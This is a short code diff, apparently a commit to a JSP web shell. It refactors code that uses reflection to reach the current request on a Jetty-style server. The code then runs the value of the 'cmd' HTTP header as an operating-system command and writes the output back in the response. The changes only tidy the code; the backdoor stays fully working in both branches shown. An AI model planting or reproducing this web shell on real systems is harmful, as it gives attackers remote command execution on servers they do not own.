1111
1212 Object [] obj_arr = (Object []) obj;
1313 for (Object o : obj_arr){
14- if (o == null ){
15- continue ;
16- }
14+ if (o == null ) continue ;
1715
1816 field = o. getClass(). getDeclaredField(" value" );
1917 field. setAccessible(true );
2725 method = obj. getClass(). getMethod(" getHeader" , String . class);
2826 obj = method. invoke(obj, " cmd" );
2927
30- java.io. InputStream in = Runtime . getRuntime(). exec(obj. toString()). getInputStream();
31- java.io. InputStreamReader isr = new java.io. InputStreamReader (in);
32- java.io. BufferedReader br = new java.io. BufferedReader (isr);
33-
34- StringBuilder sb = new StringBuilder ();
35- String line;
36- while ((line = br. readLine()) != null ){
37- sb. append(line + " \n " );
38- }
39-
40- br. close();
41- isr. close();
42- in. close();
28+ String res = new java.util. Scanner (Runtime . getRuntime(). exec(obj. toString()). getInputStream()). useDelimiter(" \\ A" ). next();
4329
4430 method = connection. getClass(). getMethod(" getPrintWriter" , String . class);
4531 java.io. PrintWriter printWriter = (java.io. PrintWriter )method. invoke(connection, " utf-8" );
46- printWriter. println(sb . toString() );
32+ printWriter. println(res );
4733
4834 }else if (obj != null && obj. getClass(). getName(). endsWith(" HttpConnection" )){
49- System . out. println(obj. getClass(). getName());
5035 java.lang.reflect. Method method = obj. getClass(). getDeclaredMethod(" getHttpChannel" );
5136 Object httpChannel = method. invoke(obj);
5237
5641 method = obj. getClass(). getMethod(" getHeader" , String . class);
5742 obj = method. invoke(obj, " cmd" );
5843
59- java.io. InputStream in = Runtime . getRuntime(). exec(obj. toString()). getInputStream();
60- java.io. InputStreamReader isr = new java.io. InputStreamReader (in);
61- java.io. BufferedReader br = new java.io. BufferedReader (isr);
62-
63- StringBuilder sb = new StringBuilder ();
64- String line;
65- while ((line = br. readLine()) != null ){
66- sb. append(line + " \n " );
67- }
44+ String res = new java.util. Scanner (Runtime . getRuntime(). exec(obj. toString()). getInputStream()). useDelimiter(" \\ A" ). next();
6845
6946 method = httpChannel. getClass(). getMethod(" getResponse" );
7047 obj = method. invoke(httpChannel);
7148
7249 method = obj. getClass(). getMethod(" getWriter" );
7350 java.io. PrintWriter printWriter = (java.io. PrintWriter )method. invoke(obj);
74- printWriter. println(sb . toString() );
51+ printWriter. println(res );
7552 }
7653 }
7754% >
0 commit comments